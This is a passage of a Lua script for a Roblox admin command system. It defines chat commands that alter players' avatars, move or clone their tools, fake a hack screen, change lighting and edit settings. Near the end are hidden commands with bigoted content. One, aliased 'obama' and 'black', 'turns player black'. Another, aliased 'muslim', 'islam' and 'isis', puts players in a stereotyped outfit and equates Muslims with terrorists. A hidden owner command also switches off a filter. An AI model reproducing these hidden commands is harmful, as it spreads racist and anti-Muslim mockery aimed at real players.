7032 for _,Player in pairs(Players) do
7033 CORE:Scale(Player, 70)
7034 end
7035 end, Hidden = true};
7036
7037 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
7038 local Players = STRING:Scan(Arguments[1], Speaker)
7039 for _,Player in pairs(Players) do
7040 CORE:Scale(Player, 500)
7041 end
7042 end};
7043
7044 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
7045 local Players = STRING:Scan(Arguments[1], Speaker)
7046 for _,Player in pairs(Players) do
7047 if Player.Character then
7048 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7049 Obj.Reflectance = 0.5
7050 Obj.BrickColor = BrickColor.new("New Yeller")
7051 end)
7052 end
7053 end
7054 end};
7055
7056 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
7057 local Players = STRING:Scan(Arguments[1], Speaker)
7058 for _,Player in pairs(Players) do
7059 if Player.Character then
7060 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7061 Obj.Reflectance = 0.5
7062 end)
7063 end
7064 end
7065 end};
7066
7067 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
7068 local Players = STRING:Scan(Arguments[1], Speaker)
7069 for _,Player in pairs(Players) do
7070 if Player.Character then
7071 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7072 Obj.Transparency = 0.5
7073 Obj.Reflectance = 0
7074 Obj.BrickColor = BrickColor.new("Institutional white")
7075 end)
7076 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
7077 Obj.Transparency = 0.5
7078 end)
7079 end
7080 end
7081 end};
7082
7083 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7084 local Players = STRING:Scan(Arguments[1], Speaker)
7085 for _,Player in pairs(Players) do
7086 if Player.Character then
7087 for _,Obj in pairs(Player.Character:GetChildren()) do
7088 local Valid = false
7089 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7090 if Valid == true then Obj:Destroy() end
7091 end
7092 end
7093 end
7094 end};
7095
7096 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7097 local Players = STRING:Scan(Arguments[1], Speaker)
7098 for _,Player in pairs(Players) do
7099 if Player.Character then
7100 for _,Obj in pairs(Player.Character:GetChildren()) do
7101 local Valid = false
7102 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7103 if Valid == true then Obj:Destroy() end
7104 end
7105 end
7106 end
7107 end};
7108
7109 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7110 local Players = STRING:Scan(Arguments[1], Speaker)
7111 for _,Player in pairs(Players) do
7112 if Player.Character then
7113 for _,Obj in pairs(Player.Character:GetChildren()) do
7114 local Valid = false
7115 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7116 if Valid == true then Obj:Destroy() end
7117 end
7118 end
7119 end
7120 end};
7121
7122 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7123 local Players = STRING:Scan(Arguments[1], Speaker)
7124 for _,Player in pairs(Players) do
7125 if Player.Character then
7126 for _,Obj in pairs(Player.Character:GetChildren()) do
7127 if Obj:IsA("Accoutrement") then
7128 Obj:Destroy()
7129 end
7130 end
7131 end
7132 end
7133 end};
7134
7135 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7136 local Players = STRING:Scan(Arguments[1], Speaker)
7137 for _,Player in pairs(Players) do
7138 Player:ClearCharacterAppearance()
7139 end
7140 end};
7141
7142 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7143 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7144 local TmpPlayers = {}
7145 local Output = {}
7146 for _,Data in pairs(Players) do
7147 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7148 end
7149 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7150 end};
7151
7152 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7153 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7154 GUI:SendHint(Speaker, "Player Database cleared", 5)
7155 end};
7156
7157 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7158 local Players = STRING:Scan(Arguments[1], Speaker)
7159 for _,Player in pairs(Players) do
7160 GUI:FakeHack(Player)
7161 end
7162 end};
7163
7164 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7165 local Players = STRING:Scan(Arguments[1], Speaker)
7166 for _,Player in pairs(Players) do
7167 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7168 for _,Object in pairs(Player.Backpack:GetChildren()) do
7169 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7170 local Clone = Object:Clone()
7171 Clone.Parent = Speaker.Backpack
7172 end
7173 end
7174 end
7175 end
7176 end};
7177
7178 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7179 local Players = STRING:Scan(Arguments[1], Speaker)
7180 for _,Player in pairs(Players) do
7181 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7182 for _,Object in pairs(Player.Backpack:GetChildren()) do
7183 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7184 Object.Parent = Speaker.Backpack
7185 end
7186 end
7187 end
7188 end
7189 end};
7190
7191 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7192 local Players = STRING:Scan(Arguments[1], Speaker)
7193 for _,Player in pairs(Players) do
7194 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7195 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7196 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7197 local Clone = Object:Clone()
7198 Clone.Parent = Player.Backpack
7199 end
7200 end
7201 end
7202 end
7203 end};
7204
7205 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7206 local Players = STRING:Scan(Arguments[1], Speaker)
7207 for _,Player in pairs(Players) do
7208 if Player:FindFirstChild("Backpack") then
7209 Player.Backpack:ClearAllChildren()
7210 end
7211 if Player.Character ~= nil then
7212 for _,Obj in pairs(Player.Character:GetChildren()) do
7213 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7214 Obj:Destroy()
7215 end
7216 end
7217 end
7218 end
7219 end};
7220
7221 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7222 local Players = STRING:Scan(Arguments[1], Speaker)
7223 for _,Player in pairs(Players) do
7224 if Player.Character then
7225 if Player.Character:FindFirstChild("Head") then
7226 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7227 coroutine.wrap(function()
7228 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7229 local OldFace = Player.Character.Head.face.Texture
7230 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7231 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7232 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7233 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7234 Sound:Play()
7235 coroutine.wrap(function() for i = 1,100 do wait()
7236 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7237 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7238 end
7239 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7240 end end
7241 end)()
7242 end
7243 end
7244 end
7245 end
7246 end};
7247
7248 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7249 local Players = STRING:Scan(Arguments[1], Speaker)
7250 for _,Player in pairs(Players) do
7251 if Player.Character then
7252 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7253 coroutine.wrap(function()
7254 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7255 local OldFace = Player.Character.Head.face.Texture
7256 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7257 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7258 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7259 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7260 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7261 Sound:Play()
7262 wait(1)
7263 Smoke.Enabled = false
7264 wait(1)
7265 Fart:Destroy()
7266 Fart:Destroy()
7267 Player.Character.Head.face.Texture = OldFace
7268 end end
7269 end)()
7270 end
7271 end
7272 end
7273 end};
7274
7275 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7276 local Players = STRING:Scan(Arguments[1], Speaker)
7277 for _,Player in pairs(Players) do
7278 if Player:FindFirstChild("Backpack") then
7279 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7280 end
7281 end
7282 end};
7283
7284 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7285 local Players = STRING:Scan(Arguments[1], Speaker)
7286 for _,Player in pairs(Players) do
7287 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7288 Player.Character.MMLGraffiti:ClearAllChildren()
7289 end
7290 end
7291 end};
7292
7293 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7294 local Players = STRING:Scan(Arguments[1], Speaker)
7295 for _,Player in pairs(Players) do
7296 if Player.Character and Player.Character:FindFirstChild("Torso") then
7297 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7298 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7299 end
7300 end
7301 end};
7302
7303 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7304 local Players = STRING:Scan(Arguments[1], Speaker)
7305 for _,Player in pairs(Players) do
7306 if Player.Character and Player.Character:FindFirstChild("Torso") then
7307 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7308 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7309 end
7310 end
7311 end};
7312
7313 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7314 local Players = STRING:Scan(Arguments[1], Speaker)
7315 for _,Player in pairs(Players) do
7316 if Player.Character and Player.Character:FindFirstChild("Torso") then
7317 local Lights = {}
7318 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7319 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7320 table.insert(Lights, Obj)
7321 end
7322 end
7323 for _,Light in pairs(Lights) do
7324 coroutine.wrap(function()
7325 for i = 1,20 do
7326 Light.Brightness = Light.Brightness/5
7327 wait()
7328 end
7329 Light:Destroy()
7330 end)()
7331 end
7332 end
7333 end
7334 end};
7335
7336 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7337 local Players = STRING:Scan(Arguments[1], Speaker)
7338 for _,Player in pairs(Players) do
7339 if Player.Character and Player:FindFirstChild("PlayerGui") then
7340 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7341 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7342 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7343 local Stop = false
7344 coroutine.wrap(function()
7345 repeat
7346 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7347 wait(0.1)
7348 until not SG or not SG.Parent
7349 end)()
7350 CORE:ExecuteResource("Drug", Player.Character)
7351 end
7352 end
7353 end};
7354
7355 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7356 local Players = STRING:Scan(Arguments[1], Speaker)
7357 for _,Player in pairs(Players) do
7358 if Player:FindFirstChild("PlayerGui") then
7359 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7360 wait() CORE:RestoreCamera(Player)
7361 end
7362 end
7363 end};
7364
7365 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7366 local AbuseMode = false
7367 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7368 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7369 if Speaker:FindFirstChild("Backpack") then
7370 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7371 end
7372 end)
7373 end, Http = true};
7374
7375 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7376 local Type = "all"
7377 local Query = string.lower(Arguments[1])
7378 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7379 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7380 Type = Arguments[1]
7381 Query = Arguments[2]
7382 end
7383 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7384 if Speaker.Character then
7385 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7386 end
7387 end, MARKET:AccessoryToSubcategory(Type))
7388 end, Http = true};
7389
7390 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7391 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7392 if Speaker.Character then
7393 CORE:GivePackage(Speaker, ID)
7394 end
7395 end, 11)
7396 end, Http = false};
7397
7398 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7399 local Players = STRING:Scan(Arguments[1], Speaker)
7400 for _,Player in pairs(Players) do
7401 CORE:GivePackage(Player)
7402 end
7403 end};
7404
7405 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7406 local Players = STRING:Scan(Arguments[1], Speaker)
7407 for _,Player in pairs(Players) do
7408 CORE:GivePackage(Player, Arguments[2])
7409 end
7410 end, Http = false};
7411
7412 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7413 local Players = STRING:Scan(Arguments[1], Speaker)
7414 for _,Player in pairs(Players) do
7415 local Stats = Player:FindFirstChild("leaderstats")
7416 if Stats ~= nil then
7417 for _,Stat in pairs(Stats:GetChildren()) do
7418 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7419 ypcall(function() Stat.Value = Arguments[3] end)
7420 end
7421 end
7422 end
7423 end
7424 end};
7425
7426 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7427 local ID = tonumber(Arguments[2])
7428 local Players = STRING:Scan(Arguments[1], Speaker)
7429 for _,Player in pairs(Players) do
7430 for _,Player in pairs(Players) do
7431 if Player.Character ~= nil then
7432 local Obj = Player.Character:FindFirstChild("Shirt")
7433 if Obj then
7434 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7435 else
7436 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7437 end
7438 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7439 end
7440 end
7441 end
7442 end};
7443
7444 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7445 local ID = tonumber(Arguments[2])
7446 local Players = STRING:Scan(Arguments[1], Speaker)
7447 for _,Player in pairs(Players) do
7448 for _,Player in pairs(Players) do
7449 if Player.Character ~= nil then
7450 local Obj = Player.Character:FindFirstChild("Pants")
7451 if Obj then
7452 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7453 else
7454 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7455 end
7456 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7457 end
7458 end
7459 end
7460 end};
7461
7462 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7463 local ID = tonumber(Arguments[2])
7464 local Players = STRING:Scan(Arguments[1], Speaker)
7465 for _,Player in pairs(Players) do
7466 for _,Player in pairs(Players) do
7467 if Player.Character ~= nil then
7468 if Player.Character:FindFirstChild("Torso") then
7469 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7470 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7471 if Obj1 then
7472 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7473 else
7474 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7475 end
7476 if Obj2 then
7477 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7478 else
7479 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7480 end
7481 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7482 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7483 end
7484 end
7485 end
7486 end
7487 end};
7488
7489 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7490 local Players = STRING:Scan(Arguments[1], Speaker)
7491 for _,Player in pairs(Players) do
7492 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7493 end
7494 end};
7495
7496 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7497 if CORE:InAdminGroup(Speaker) then
7498 local Players = STRING:Scan(Arguments[1], Speaker)
7499 for _,Player in pairs(Players) do
7500 if Player:FindFirstChild("Backpack") then
7501 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7502 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7503 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7504 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7505 CORE:ExecuteResource("CookieTool", Tool)
7506 end
7507 end
7508 end
7509 end};
7510
7511 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7512 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7513 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7514 end
7515 end};
7516
7517 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7518 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7519 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7520 Model:MakeJoints()
7521 for i = 1,math.random(10,20) do
7522 Model.Name = Model.Name..string.char(math.random(97,122))
7523 end
7524 if Model:GetChildren()[1] then
7525 table.insert(Objects, Model)
7526 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7527 end
7528 end
7529 end};
7530
7531 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7532 local ID = tonumber(Arguments[2])
7533 local Players = STRING:Scan(Arguments[1], Speaker)
7534 for _,Player in pairs(Players) do
7535 if Player.Character then
7536 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7537 end
7538 end
7539 end};
7540
7541 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7542 local Players = STRING:Scan(Arguments[1], Speaker)
7543 for _,Player in pairs(Players) do
7544 if Player.Character then
7545 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7546 if StopAnim then StopAnim:Destroy() end
7547 end
7548 end
7549 end};
7550
7551 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7552 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7553 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7554 end
7555 end};
7556
7557 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7558 if tonumber(Arguments[1]) then
7559 Server.Lighting.Brightness = tonumber(Arguments[1])
7560 end
7561 end};
7562
7563 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7564 local Players = STRING:Scan(Arguments[1], Speaker)
7565 for _,Player in pairs(Players) do
7566 GUI:CoreGui(Player, "PlayerList", true)
7567 end
7568 end};
7569
7570 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7571 local Players = STRING:Scan(Arguments[1], Speaker)
7572 for _,Player in pairs(Players) do
7573 local Players = STRING:Scan(Arguments[1], Speaker)
7574 GUI:CoreGui(Player, "PlayerList", false)
7575 end
7576 end};
7577
7578 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7579 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7580 end, Hidden = true};
7581
7582 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7583 local Players = STRING:Scan(Arguments[1], Speaker)
7584 for _,Player in pairs(Players) do
7585 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7586 end
7587 end, Hidden = true};
7588
7589 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7590 local Players = STRING:Scan(Arguments[1], Speaker)
7591 for _,Player in pairs(Players) do
7592 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7593 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7594 Player:ClearCharacterAppearance()
7595 CORE:Insert(12436480, Player.Character, true)
7596 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7597 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7598 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7599 end
7600 end
7601 end, Hidden = true};
7602
7603 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7604 local Players = STRING:Scan(Arguments[1], Speaker)
7605 for _,Player in pairs(Players) do
7606 CORE:ChangeCharacter(Player, 0, false, Speaker)
7607 end
7608 end};
7609
7610 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7611 ShouldFilter = false
7612 end, Hidden = true};
7613
7614 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7615 local Bet = Arguments[1]
7616 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7617 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7618 elseif #Bet > 5 then
7619 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7620 else
7621 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7622 if Answer == "Yes" then
7623 local OldBet = Settings.Bet
7624 CORE:ChangeBet(Bet)
7625 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7626 end
7627 end
7628 end};
7629
7630 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7631 local Prefix = Arguments[1]
7632 if #Prefix > 5 then
7633 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7634 else
7635 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7636 if Answer == "Yes" then
7637 local OldPrefix = Settings.Prefix
7638 Settings.Prefix = Prefix
7639 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7640 end
7641 end
7642 end};
7643
7644 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7645 GUI:CommandBar(Speaker)
7646 end};
7647
